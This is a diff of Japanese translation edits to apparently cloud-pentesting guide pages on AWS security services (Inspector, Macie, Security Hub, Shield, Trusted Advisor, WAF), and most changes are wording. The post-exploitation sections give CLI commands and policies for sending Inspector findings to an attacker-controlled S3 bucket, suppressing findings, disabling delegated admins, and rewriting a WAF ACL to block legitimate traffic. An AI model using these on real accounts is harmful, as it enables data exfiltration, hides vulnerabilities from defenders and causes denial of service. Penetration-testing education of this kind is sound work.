Inspectorのフィルターと抑制ルールは、調査結果の管理と優先順位付けを支援します。フィルターを使用すると、深刻度やリソースタイプなどの特定の基準に基づいて調査結果を絞り込むことができます。抑制ルールを使用すると、低リスクと見なされる、すでに軽減された、またはその他の重要な理由により、特定の調査結果を抑制し、セキュリティレポートの過負荷を防ぎ、より重要な問題に集中できるようになります。 +Amazon InspectorのFiltersとsuppression rulesは、Findingsを管理し優先順位を付けるのに役立ちます。Filtersを使用すると、深刻度やリソースタイプなどの特定の基準に基づいてFindingsを絞り込むことができます。Suppression rulesを使用すると、低リスクと見なされる、すでに軽減された、またはその他の重要な理由により、特定のFindingsを抑制し、セキュリティレポートの過負荷を防ぎ、より重要な問題に集中できるようにします。 #### Software Bill of Materials (SBOM) -Amazon Inspectorのソフトウェア部品表(SBOM)は、ライブラリや依存関係を含むソフトウェアパッケージ内のすべてのコンポーネントの詳細なエクスポータブルネストされたインベントリリストです。SBOMは、ソフトウェアサプライチェーンの透明性を提供し、より良い脆弱性管理とコンプライアンスを可能にします。オープンソースおよびサードパーティのソフトウェアコンポーネントに関連するリスクを特定し軽減するために重要です。 +Amazon InspectorのSoftware Bill of Materials (SBOM)は、ライブラリや依存関係を含むソフトウェアパッケージ内のすべてのコンポーネントを詳細に示すエクスポータブルなネストされたインベントリリストです。SBOMは、ソフトウェアサプライチェーンの透明性を提供し、より良い脆弱性管理とコンプライアンスを可能にします。オープンソースおよびサードパーティのソフトウェアコンポーネントに関連するリスクを特定し軽減するために重要です。 ### Key features #### Export findings -Amazon Inspectorは、調査結果をAmazon S3バケット、Amazon EventBridge、およびAWS Security Hubにエクスポートする機能を提供し、特定の日付と時刻に識別された脆弱性や露出の詳細なレポートを生成することを可能にします。この機能は、CSVやJSONなどのさまざまな出力形式をサポートしており、他のツールやシステムとの統合を容易にします。エクスポート機能は、レポートに含まれるデータのカスタマイズを可能にし、深刻度、リソースタイプ、または日付範囲などの特定の基準に基づいて調査結果をフィルタリングし、デフォルトで現在のAWSリージョン内のすべてのアクティブな調査結果を含めます。 +Amazon Inspectorは、FindingsをAmazon S3 Buckets、Amazon EventBridge、およびAWS Security Hubにエクスポートする機能を提供し、特定の日付と時刻に識別された脆弱性や露出の詳細なレポートを生成できます。この機能は、CSVやJSONなどのさまざまな出力形式をサポートしており、他のツールやシステムとの統合を容易にします。エクスポート機能は、レポートに含まれるデータのカスタマイズを可能にし、深刻度、リソースタイプ、または日付範囲などの特定の基準に基づいてFindingsをフィルタリングし、デフォルトで現在のAWSリージョン内のすべてのActiveステータスのFindingsを含めます。 -調査結果をエクスポートする際には、データをエクスポート中に暗号化するためにキー管理サービス(KMS)キーが必要です。KMSキーは、エクスポートされた調査結果が不正アクセスから保護されることを保証し、機密の脆弱性情報に対する追加のセキュリティ層を提供します。 +Findingsをエクスポートする際には、データをエクスポート中に暗号化するためにKey Management Service (KMS)キーが必要です。KMSキーは、エクスポートされたFindingsが不正アクセスから保護されることを保証し、機密の脆弱性情報に対する追加のセキュリティ層を提供します。 #### Amazon EC2 instances scanning -Amazon Inspectorは、Amazon EC2インスタンスの脆弱性やセキュリティ問題を検出するための強力なスキャン機能を提供します。Inspectorは、EC2インスタンスから抽出されたメタデータをセキュリティアドバイザリーのルールと比較して、パッケージの脆弱性やネットワーク到達性の問題を生成します。これらのスキャンは、アカウントの**スキャンモード**設定に応じて、**エージェントベース**または**エージェントレス**の方法で実行できます。 +Amazon Inspectorは、Amazon EC2インスタンスの脆弱性やセキュリティ問題を検出するための強力なスキャン機能を提供します。Inspectorは、EC2インスタンスから抽出されたメタデータをセキュリティアドバイザリーのルールと比較して、パッケージの脆弱性やネットワーク到達性の問題を生成します。これらのスキャンは、アカウントの**scan mode**設定に応じて、**agent-based**または**agentless**の方法で実行できます。 -- **Agent-Based**: AWS Systems Manager(SSM)エージェントを利用して、詳細なスキャンを実施します。この方法では、インスタンスから直接データを収集し分析することができます。 +- **Agent-Based**: AWS Systems Manager (SSM)エージェントを利用して、詳細なスキャンを実施します。この方法では、インスタンスから直接データを収集し分析することができます。 - **Agentless**: インスタンスにエージェントをインストールする必要がない軽量な代替手段を提供し、EC2インスタンスの各ボリュームのEBSスナップショットを作成し、脆弱性を探し、その後削除します。既存のAWSインフラストラクチャを利用してスキャンを行います。 スキャンモードは、EC2スキャンを実行するために使用される方法を決定します: @@ -52,7 +52,7 @@ Amazon Inspectorは、Amazon EC2インスタンスの脆弱性やセキュリテ - **Agent-Based**: EC2インスタンスにSSMエージェントをインストールして深い検査を行います。 - **Hybrid Scanning**: エージェントベースとエージェントレスの両方の方法を組み合わせて、カバレッジを最大化し、パフォーマンスへの影響を最小限に抑えます。SSMエージェントがインストールされているEC2インスタンスでは、Inspectorはエージェントベースのスキャンを実行し、SSMエージェントがないインスタンスではエージェントレスのスキャンが実行されます。 -もう一つの重要な機能は、EC2 Linuxインスタンスの**深い検査**です。この機能は、EC2 Linuxインスタンスのソフトウェアと構成の徹底的な分析を提供し、オペレーティングシステムの脆弱性、アプリケーションの脆弱性、誤設定を含む詳細な脆弱性評価を行い、包括的なセキュリティ評価を確保します。これは、**カスタムパス**とそのすべてのサブディレクトリの検査を通じて実現されます。デフォルトでは、Amazon Inspectorは以下をスキャンしますが、各メンバーアカウントは最大5つのカスタムパスを定義でき、各委任管理者は最大10個を定義できます: +もう一つの重要な機能は、EC2 Linuxインスタンスのための**deep inspection**です。この機能は、EC2 Linuxインスタンスのソフトウェアと構成の徹底的な分析を提供し、オペレーティングシステムの脆弱性、アプリケーションの脆弱性、誤設定を含む詳細な脆弱性評価を行い、包括的なセキュリティ評価を確保します。これは、**custom paths**とそのすべてのサブディレクトリの検査を通じて実現されます。デフォルトでは、Amazon Inspectorは以下をスキャンしますが、各メンバーアカウントは最大5つのカスタムパスを定義でき、各委任管理者は最大10個を定義できます: - `/usr/lib` - `/usr/lib64` @@ -61,21 +61,21 @@ Amazon Inspectorは、Amazon EC2インスタンスの脆弱性やセキュリテ #### Amazon ECR container images scanning -Amazon Inspectorは、Amazon Elastic Container Registry(ECR)コンテナイメージのための強力なスキャン機能を提供し、パッケージの脆弱性が効率的に検出され管理されることを保証します。 +Amazon Inspectorは、Amazon Elastic Container Registry (ECR)のコンテナイメージに対する強力なスキャン機能を提供し、パッケージの脆弱性が効率的に検出および管理されることを保証します。 - **Basic Scanning**: これは、オープンソースのClairプロジェクトからの標準的なルールセットを使用して、コンテナイメージ内の既知のOSパッケージの脆弱性を特定する迅速で軽量なスキャンです。このスキャン設定では、リポジトリはプッシュ時にスキャンされるか、手動スキャンが実行されます。 -- **Enhanced Scanning**: このオプションは、プッシュスキャンに加えて継続的スキャン機能を追加します。強化スキャンは、各コンテナイメージのレイヤーをより深く掘り下げて、OSパッケージやプログラミング言語パッケージの脆弱性をより高い精度で特定します。ベースイメージと追加のレイヤーの両方を分析し、潜在的なセキュリティ問題の包括的なビューを提供します。 +- **Enhanced Scanning**: このオプションは、プッシュスキャンに加えて継続的スキャン機能を追加します。Enhanced scanningは、各コンテナイメージの層をより深く掘り下げて、OSパッケージやプログラミング言語パッケージの脆弱性をより高い精度で特定します。ベースイメージと追加の層の両方を分析し、潜在的なセキュリティ問題の包括的なビューを提供します。 #### Amazon Lambda functions scanning -Amazon Inspectorは、AWS Lambda関数とそのレイヤーのための包括的なスキャン機能を含み、サーバーレスアプリケーションのセキュリティと整合性を確保します。Inspectorは、Lambda関数のための2種類のスキャンを提供します: +Amazon Inspectorは、AWS Lambda関数とそのレイヤーに対する包括的なスキャン機能を含み、サーバーレスアプリケーションのセキュリティと整合性を確保します。Inspectorは、Lambda関数に対して2種類のスキャンを提供します: -- **Lambda standard scanning**: このデフォルト機能は、Lambda関数とレイヤーに追加されたアプリケーションパッケージの依存関係におけるソフトウェアの脆弱性を特定します。たとえば、関数が既知の脆弱性を持つライブラリのバージョン(例:python-jwt)を使用している場合、調査結果が生成されます。 -- **Lambda code scanning**: カスタムアプリケーションコードのセキュリティ問題を分析し、インジェクションの欠陥、データ漏洩、弱い暗号化、暗号化の欠如などの脆弱性を検出します。検出された脆弱性を強調するコードスニペットをキャプチャします。調査結果には、問題を修正するための詳細な修正提案とコードスニペットが含まれます。 +- **Lambda standard scanning**: このデフォルト機能は、Lambda関数とレイヤーに追加されたアプリケーションパッケージの依存関係におけるソフトウェアの脆弱性を特定します。たとえば、関数が既知の脆弱性を持つライブラリのバージョン(例:python-jwt)を使用している場合、Findingが生成されます。 +- **Lambda code scanning**: カスタムアプリケーションコードのセキュリティ問題を分析し、インジェクションの欠陥、データ漏洩、弱い暗号化、暗号化の欠如などの脆弱性を検出します。検出された脆弱性を強調するコードスニペットをキャプチャします。Findingsには、問題を修正するための詳細な修正提案とコードスニペットが含まれます。 #### **Center for Internet Security (CIS) scans** -Amazon Inspectorは、Center for Internet Security(CIS)からのベストプラクティス推奨に対してAmazon EC2インスタンスのオペレーティングシステムをベンチマークするCISスキャンを含みます。これらのスキャンは、構成が業界標準のセキュリティベースラインに準拠していることを保証します。 +Amazon Inspectorは、Amazon EC2インスタンスのオペレーティングシステムをCenter for Internet Security (CIS)からのベストプラクティス推奨に対してベンチマークするCISスキャンを含みます。これらのスキャンは、構成が業界標準のセキュリティベースラインに準拠していることを保証します。 - **Configuration**: CISスキャンは、システム構成が特定のCISベンチマーク推奨に合致しているかどうかを評価し、各チェックはCISチェックIDとタイトルにリンクされています。 - **Execution**: スキャンは、インスタンスタグと定義されたスケジュールに基づいて実行またはスケジュールされます。 @@ -182,12 +182,12 @@ aws inspector list-exclusions --assessment-run-arn ## Rule packages aws inspector list-rules-packages ``` -### Post Exploitation +### ポストエクスプロイテーション > [!TIP] > 攻撃者の視点から見ると、このサービスは攻撃者が他のインスタンス/コンテナを侵害するのに役立つ脆弱性やネットワークの露出を見つけるのに役立ちます。 > -> しかし、攻撃者はこのサービスを妨害して、被害者が脆弱性(すべてまたは特定のもの)を確認できないようにすることにも興味を持つかもしれません。 +> しかし、攻撃者は被害者が脆弱性(すべてまたは特定のもの)を確認できないように、このサービスを妨害することにも興味を持つ可能性があります。 #### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport` @@ -198,7 +198,7 @@ aws inspector2 create-findings-report --report-format --s3-destinat # SBOM report aws inspector2 create-sbom-report --report-format --s3-destination [--resource-filter-criteria ] ``` -以下の例は、攻撃者が制御するAmazon S3バケットに、攻撃者が制御するAmazon KMSキーを使用して、Amazon Inspectorからすべてのアクティブな発見を抽出する方法を示しています。 +次の例は、攻撃者が制御するAmazon S3バケットと攻撃者が制御するAmazon KMSキーを使用して、Amazon Inspectorからすべてのアクティブな検出結果を抽出する方法を示しています。 1. **Amazon S3バケットを作成**し、被害者のAmazon Inspectorからアクセスできるようにポリシーを添付します: ```json @@ -257,15 +257,15 @@ aws inspector2 create-sbom-report --report-format --s ] } ``` -3. **調査結果レポートを作成する** コマンドを実行して、それを抽出します: +3. **発見レポートを作成する** コマンドを実行し、それを抽出します: ```bash aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f ``` -- **潜在的影響**: 詳細な脆弱性およびソフトウェアレポートの生成と流出、特定の脆弱性およびセキュリティの弱点に関する洞察を得ること。 +- **潜在的影響**: 詳細な脆弱性およびソフトウェアレポートの生成と外部流出、特定の脆弱性やセキュリティの弱点に関する洞察を得ること。 #### `inspector2:CancelFindingsReport`, `inspector2:CancelSbomExport` -攻撃者は、指定された脆弱性レポートまたはSBOMレポートの生成をキャンセルし、セキュリティチームが脆弱性およびソフトウェア部品表(SBOM)に関するタイムリーな情報を受け取るのを妨げ、セキュリティ問題の検出と修正を遅らせる可能性があります。 +攻撃者は、指定された脆弱性レポートまたはSBOMレポートの生成をキャンセルし、セキュリティチームが脆弱性やソフトウェア部品表(SBOM)に関するタイムリーな情報を受け取るのを妨げ、セキュリティ問題の検出と修正を遅延させる可能性があります。 ```bash # Cancel findings report generation aws inspector2 cancel-findings-report --report-id @@ -276,7 +276,7 @@ aws inspector2 cancel-sbom-export --report-id #### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter` -これらの権限を持つ攻撃者は、どの脆弱性やセキュリティ問題が報告されるか、または抑制されるかを決定するフィルタリングルールを操作することができます(**action**がSUPPRESSに設定されている場合、抑制ルールが作成されます)。これにより、セキュリティ管理者から重要な脆弱性を隠すことができ、検出されずにこれらの弱点を悪用しやすくなります。重要なフィルタを変更または削除することで、攻撃者は無関係な発見でシステムを洪水のように inundate し、効果的なセキュリティ監視と対応を妨げることもできます。 +これらの権限を持つ攻撃者は、どの脆弱性やセキュリティ問題が報告または抑制されるかを決定するフィルタリングルールを操作することができます(**action**がSUPPRESSに設定されている場合、抑制ルールが作成されます)。これにより、セキュリティ管理者から重要な脆弱性が隠され、検出されずにこれらの弱点を悪用しやすくなります。重要なフィルタを変更または削除することで、攻撃者は無関係な発見でシステムを洪水のように inundate し、効果的なセキュリティ監視と対応を妨げることもできます。 ```bash # Create aws inspector2 create-filter --action --filter-criteria --name [--reason ] @@ -285,7 +285,7 @@ aws inspector2 update-filter --filter-arn [--action ] [ # Delete aws inspector2 delete-filter --arn ``` -- **潜在的影響**: 重要な脆弱性の隠蔽または抑制、または無関係な発見でシステムを洪水させること。 +- **潜在的影響**: 重要な脆弱性の隠蔽または抑制、または無関係な発見でシステムを洪水のように inundate すること。 #### `inspector2:DisableDelegatedAdminAccount`, (`inspector2:EnableDelegatedAdminAccount` & `organizations:ListDelegatedAdministrators` & `organizations:EnableAWSServiceAccess` & `iam:CreateServiceLinkedRole`) @@ -295,7 +295,7 @@ aws inspector2 delete-filter --arn - 無許可の管理者アカウントを有効にすることで、攻撃者はセキュリティ設定を制御し、スキャンを無効にしたり、悪意のある活動を隠すために設定を変更したりする可能性があります。 > [!WARNING] -> 無許可のアカウントは、委任された管理者になるために被害者と同じ組織に所属している必要があります。 +> 無許可のアカウントが委任された管理者になるためには、被害者と同じ組織に所属している必要があります。 > > 無許可のアカウントが委任された管理者になるためには、正当な委任された管理者が無効にされた後、無許可のアカウントが委任された管理者として有効にされる前に、正当な管理者が組織から委任された管理者として登録解除される必要があります。これは次のコマンドで実行できます(**`organizations:DeregisterDelegatedAdministrator`** 権限が必要): **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** ```bash @@ -304,21 +304,21 @@ aws inspector2 disable-delegated-admin-account --delegated-admin-account-id ``` -- **潜在的な影響**: セキュリティ管理の中断。 +- **潜在的影響**: セキュリティ管理の中断。 #### `inspector2:AssociateMember`, `inspector2:DisassociateMember` -攻撃者は、Amazon Inspector 組織内のメンバーアカウントの関連付けを操作する可能性があります。無許可のアカウントを関連付けたり、正当なアカウントを関連付け解除したりすることで、攻撃者はどのアカウントがセキュリティスキャンや報告に含まれるかを制御できます。これにより、重要なアカウントがセキュリティ監視から除外され、攻撃者がそれらのアカウントの脆弱性を検出されずに悪用できる可能性があります。 +攻撃者は、Amazon Inspector 組織内のメンバーアカウントの関連付けを操作する可能性があります。無許可のアカウントを関連付けたり、正当なアカウントを関連付け解除したりすることで、攻撃者はどのアカウントがセキュリティスキャンや報告に含まれるかを制御できます。これにより、重要なアカウントがセキュリティ監視から除外され、攻撃者がそれらのアカウントの脆弱性を検出されることなく悪用できる可能性があります。 > [!WARNING] -> このアクションは、委任された管理者によって実行する必要があります。 +> このアクションは、委任された管理者によって実行される必要があります。 ```bash # Associate aws inspector2 associate-member --account-id # Disassociate aws inspector2 disassociate-member --account-id ``` -- **潜在的な影響**: セキュリティスキャンからの重要なアカウントの除外により、脆弱性の未検出の悪用が可能になる。 +- **潜在的影響**: セキュリティスキャンからの重要なアカウントの除外により、脆弱性の未検出の悪用が可能になる。 #### `inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`) @@ -336,7 +336,7 @@ aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--acco #### `inspector2:UpdateOrganizationConfiguration` -この権限を持つ攻撃者は、あなたのAmazon Inspector組織の設定を更新でき、新しいメンバーアカウントに対して有効なデフォルトのスキャン機能に影響を与えます。 +この権限を持つ攻撃者は、あなたのAmazon Inspector組織の設定を更新でき、新しいメンバーアカウントに対して有効なデフォルトのスキャン機能に影響を与えることができます。 > [!WARNING] > このアクションは、委任された管理者によって実行される必要があります。 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md index a88ade921..c3631bfa0 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md @@ -6,7 +6,7 @@ ## Macie -Amazon Macieは、AWSアカウント内のデータを**自動的に検出、分類、特定する**ために設計されたサービスとして際立っています。**機械学習**を活用してデータを継続的に監視および分析し、主に**クラウドトレイルイベント**データとユーザー行動パターンを調査することで、異常または疑わしい活動を検出し、警告を発します。 +Amazon Macieは、AWSアカウント内のデータを**自動的に検出、分類、特定する**ために設計されたサービスとして際立っています。**機械学習**を活用してデータを継続的に監視および分析し、主に**cloud trail event**データとユーザー行動パターンを調査することで、異常または疑わしい活動を検出し、警告を発します。 Amazon Macieの主な機能: @@ -60,7 +60,7 @@ IDタイプには、Root、IAMユーザー、仮想ロール、フェデレー - コンテンツタイプ:検出されたコンテンツタイプに基づく。 - ファイル拡張子:ファイル拡張子に基づく。 - テーマ:ファイル内のキーワードによって分類される。 -- 正規表現:特定の正規表現パターンに基づいて分類される。 +- Regex:特定のregexパターンに基づいて分類される。 これらのカテゴリの中で最も高いリスクが、ファイルの最終的なリスクレベルを決定します。 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md index 5de262856..0d089718d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md @@ -19,6 +19,8 @@ - Macie - サードパーティ - CIS 標準に対して自己生成されたもの + +## Enumeration ``` # Get basic info aws securityhub describe-hub diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md index d999cee0f..da5dffe1c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md @@ -4,11 +4,11 @@ ## Shield -AWS Shieldは、**分散型サービス拒否攻撃**(DDoS)から**インフラストラクチャを保護する**ために設計されています。 +AWS Shieldは、**分散型サービス拒否攻撃**、一般にDDoSとして知られるものから**インフラストラクチャを保護する**ために設計されています。 **AWS Shield Standard**は**無料**で提供され、一般的なレイヤー3、**ネットワーク層**、およびレイヤー4、**トランスポート層**のDDoS攻撃に対する**DDoS保護**を提供します。この保護は、CloudFrontとRoute 53の両方に統合されています。 -**AWS Shield Advanced**は、追加料金でより広範囲のAWSサービスに対するDDoS攻撃に対して**より高いレベルの保護**を提供します。この高度なレベルは、EC2、CloudFront、ELB、およびRoute 53で実行されているWebアプリケーションに対する保護を提供します。これらの追加リソースタイプが保護されるだけでなく、Standardに比べて強化されたDDoS保護レベルが提供されます。また、**AWSの専門的なDDoS対応チームであるDRTに24時間365日アクセスできます**。 +**AWS Shield Advanced**は、追加料金でより広範囲のAWSサービスに対するDDoS攻撃に対して**より高いレベルの保護**を提供します。この高度なレベルは、EC2、CloudFront、ELB、およびRoute 53で実行されているWebアプリケーションに対する保護を提供します。これらの追加リソースタイプが保護されるだけでなく、Standardに比べて強化されたDDoS保護レベルが提供されます。また、**AWSの専門的なDDoS対応チームであるDRTに24時間体制でアクセスできます**。 StandardバージョンのShieldがレイヤー3およびレイヤー4に対する保護を提供するのに対し、**Advancedはレイヤー7、アプリケーション攻撃に対する保護も提供します。** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md index c06df4b06..c3a5e6506 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md @@ -6,7 +6,7 @@ ## AWS Trusted Advisor 概要 -Trusted Advisorは、**AWSアカウントを最適化するための推奨事項を提供する**サービスであり、**AWSのベストプラクティス**に沿っています。これは複数のリージョンで動作するサービスです。Trusted Advisorは、主に4つのカテゴリで洞察を提供します。 +Trusted Advisorは、**AWSアカウントを最適化するための推奨事項**を提供するサービスで、**AWSのベストプラクティス**に沿っています。これは複数のリージョンで動作するサービスです。Trusted Advisorは、主に4つのカテゴリで洞察を提供します。 1. **コスト最適化:** 経費を削減するためのリソースの再構成方法を提案します。 2. **パフォーマンス:** 潜在的なパフォーマンスのボトルネックを特定します。 @@ -34,7 +34,7 @@ Trusted Advisorの包括的な機能は、**AWSビジネスまたはエンター #### コアチェック -ビジネスまたはエンタープライズサポートプランのないユーザーに制限されています: +ビジネスまたはエンタープライズサポートプランを持たないユーザーに制限されています: 1. セキュリティグループ - 特定のポートが無制限 2. IAMの使用 @@ -60,7 +60,7 @@ Trusted Advisorの包括的な機能は、**AWSビジネスまたはエンター - IAMアクセスキーのローテーション(90日) - アクセスキーの露出(例:GitHub上) - EBSまたはRDSスナップショットの公開可視性 -- 弱いまたは欠如したIAMパスワードポリシー +- 弱いまたは存在しないIAMパスワードポリシー AWS Trusted Advisorは、確立されたベストプラクティスに基づいて、AWSサービスの最適化、パフォーマンス、セキュリティ、フォールトトレランスを確保するための重要なツールとして機能します。 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md index 4481136ce..59790b5cb 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md @@ -6,7 +6,7 @@ ## AWS WAF -AWS WAFは、**ウェブアプリケーションファイアウォール**であり、**ウェブアプリケーションやAPIを**さまざまなウェブの脅威から保護するために設計されています。これにより、ユーザーは**セキュリティルール**を設定して、SQLインジェクションやクロスサイトスクリプティングなどの一般的な攻撃ベクトルを軽減し、カスタムフィルタリングルールを定義することで、受信トラフィックを制御できます。 +AWS WAFは、**ウェブアプリケーションファイアウォール**であり、**ウェブアプリケーションやAPI**をさまざまなウェブの脅威から保護するために設計されています。これにより、ユーザーはSQLインジェクションやクロスサイトスクリプティングなどの一般的な攻撃ベクトルを軽減する**セキュリティルール**を設定することで、受信トラフィックを制御できます。また、カスタムフィルタリングルールを定義することも可能です。 ### Key concepts @@ -24,7 +24,7 @@ Rule Groupは、複数のWeb ACLに適用できる再利用可能なルールの ルールは、AWS WAFが受信ウェブリクエストを検査するために使用する条件のセットを定義します。主に2種類のルールがあります: -1. **通常のルール**:このルールタイプは、指定された条件を使用してウェブリクエストを許可、ブロック、またはカウントするかを決定します。 +1. **通常のルール**:このルールタイプは、指定された条件を使用してウェブリクエストを許可、ブロック、またはカウントするかを判断します。 2. **レートベースのルール**:特定のIPアドレスからのリクエストを5分間にわたってカウントします。ここで、ユーザーはしきい値を定義し、IPからのリクエスト数がこの制限を超えると、そのIPからの後続のリクエストはしきい値が下回るまでブロックされます。レートベースのルールの最小しきい値は**2000リクエスト**です。 #### Managed Rules @@ -45,7 +45,7 @@ Lock Tokenは、WAFリソースの更新時に同時実行制御に使用され #### API Keys -AWS WAFのAPIキーは、特定のAPI操作へのリクエストを認証するために使用されます。これらのキーは暗号化され、安全に管理され、アクセスを制御し、認可されたユーザーのみがWAF構成を変更できるようにします。 +AWS WAFのAPIキーは、特定のAPI操作へのリクエストを認証するために使用されます。これらのキーは暗号化され、安全に管理されてアクセスを制御し、認可されたユーザーのみがWAF構成を変更できるようにします。 - **例**:CAPTCHA APIの統合。 @@ -64,7 +64,7 @@ AWS WAFのスコープパラメータは、WAFルールと構成が地域アプ #### Monitoring Criteria (条件) -**条件**は、AWS WAFが監視する受信HTTP/HTTPSリクエストの要素を指定します。これには、XSS、地理的位置(GEO)、IPアドレス、サイズ制約、SQLインジェクション、およびパターン(文字列およびregexマッチング)が含まれます。**国に基づいてCloudFrontレベルで制限されたリクエストはWAFに到達しない**ことに注意することが重要です。 +**条件**は、AWS WAFが監視する受信HTTP/HTTPSリクエストの要素を指定します。これには、XSS、地理的位置(GEO)、IPアドレス、サイズ制約、SQLインジェクション、およびパターン(文字列とregexマッチング)が含まれます。**国に基づいてCloudFrontレベルで制限されたリクエストはWAFに到達しない**ことに注意することが重要です。 各AWSアカウントは次のように構成できます: @@ -75,18 +75,18 @@ AWS WAFのスコープパラメータは、WAFルールと構成が地域アプ #### Rule actions -アクションは各ルールに割り当てられ、オプションは次のとおりです: +アクションは各ルールに割り当てられ、選択肢は次のとおりです: - **Allow**:リクエストは適切なCloudFrontディストリビューションまたはApplication Load Balancerに転送されます。 - **Block**:リクエストは即座に終了します。 - **Count**:ルールの条件を満たすリクエストをカウントします。これは、ルールのテストや、AllowまたはBlockに設定する前にルールの正確性を確認するのに役立ちます。 -- **CAPTCHAおよびChallenge**:CAPTCHAパズルやサイレントチャレンジを使用して、リクエストがボットから来ていないことを確認します。 +- **CAPTCHAとChallenge**:リクエストがボットから来ていないことを確認するために、CAPTCHAパズルやサイレントチャレンジを使用します。 -Web ACL内のいずれのルールにも一致しないリクエストは、**デフォルトアクション**(AllowまたはBlock)を受けます。Web ACL内で定義されたルールの実行順序は重要であり、通常は次の順序に従います: +Web ACL内のいずれのルールにも一致しないリクエストは、**デフォルトアクション**(AllowまたはBlock)を受けます。Web ACL内で定義されたルールの実行順序は重要で、通常は次の順序に従います: -1. ホワイトリストに登録されたIPを許可します。 -2. ブラックリストに登録されたIPをブロックします。 -3. 有害なシグネチャに一致するリクエストをブロックします。 +1. ホワイトリストに登録されたIPを許可。 +2. ブラックリストに登録されたIPをブロック。 +3. 有害なシグネチャに一致するリクエストをブロック。 #### CloudWatch Integration @@ -101,7 +101,7 @@ CloudFrontディストリビューションと対話するには、リージョ 地域サービスと対話するには、リージョンを指定する必要があります: -- リージョンヨーロッパ(スペイン)の例:`--scope REGIONAL --region=eu-south-2` +- リージョンEurope (Spain)の例:`--scope REGIONAL --region=eu-south-2` ```bash # Web ACLs # @@ -188,11 +188,11 @@ aws wafv2 get-mobile-sdk-release --platform --release-version ### ポストエクスプロイテーション / バイパス > [!TIP] -> 攻撃者の視点から見ると、このサービスは攻撃者がWAFの保護やネットワークの露出を特定するのに役立ち、他のウェブを侵害する手助けとなる可能性があります。 +> 攻撃者の視点から見ると、このサービスは攻撃者がWAFの保護やネットワークの露出を特定するのに役立ち、他のウェブを侵害するのに役立つ可能性があります。 > > しかし、攻撃者はこのサービスを妨害して、ウェブがWAFによって保護されないようにすることにも興味を持つかもしれません。 -多くの削除および更新操作では、**ロックトークン**を提供する必要があります。このトークンはリソースに対する同時実行制御に使用され、変更が複数のユーザーまたはプロセスによって同時に同じリソースを更新しようとする際に偶然上書きされないようにします。このトークンを取得するためには、特定のリソースに対して対応する**リスト**または**取得**操作を実行することができます。 +多くの削除および更新操作では、**ロックトークン**を提供する必要があります。このトークンはリソースに対する同時実行制御に使用され、変更が複数のユーザーまたはプロセスによって同時に同じリソースを更新しようとする際に偶発的に上書きされないようにします。このトークンを取得するには、特定のリソースに対して対応する**リスト**または**取得**操作を実行することができます。 #### **`wafv2:CreateRuleGroup`, `wafv2:UpdateRuleGroup`, `wafv2:DeleteRuleGroup`** @@ -259,7 +259,7 @@ aws wafv2 update-web-acl --name --id --default-action -- # Delete Web ACL aws wafv2 delete-web-acl --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` -以下の例は、特定のIPセットからの正当なトラフィックをブロックするためにWeb ACLを更新する方法を示しています。元のIPがこれらのIPのいずれとも一致しない場合、デフォルトのアクションもブロックとなり、DoSを引き起こすことになります。 +次の例は、特定のIPセットからの正当なトラフィックをブロックするためにWeb ACLを更新する方法を示しています。オリジンIPがこれらのIPのいずれとも一致しない場合、デフォルトのアクションもそれをブロックすることになり、DoSを引き起こします。 **元のWeb ACL**: ```json @@ -303,7 +303,7 @@ aws wafv2 delete-web-acl --name --id --lock-token --scop "LockToken": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" } ``` -Web ACLを更新するためのコマンド: +Web ACLを更新するコマンド: ```json aws wafv2 update-web-acl --name AllowLegitimateIPsWebACL --scope REGIONAL --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --default-action Block={} --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=AllowLegitimateIPsWebACL --rules file://rule.json --region us-east-1 ``` @@ -344,7 +344,7 @@ aws wafv2 update-web-acl --name AllowLegitimateIPsWebACL --scope REGIONAL --id 1 - cognito-idp:AssociateWebACL - 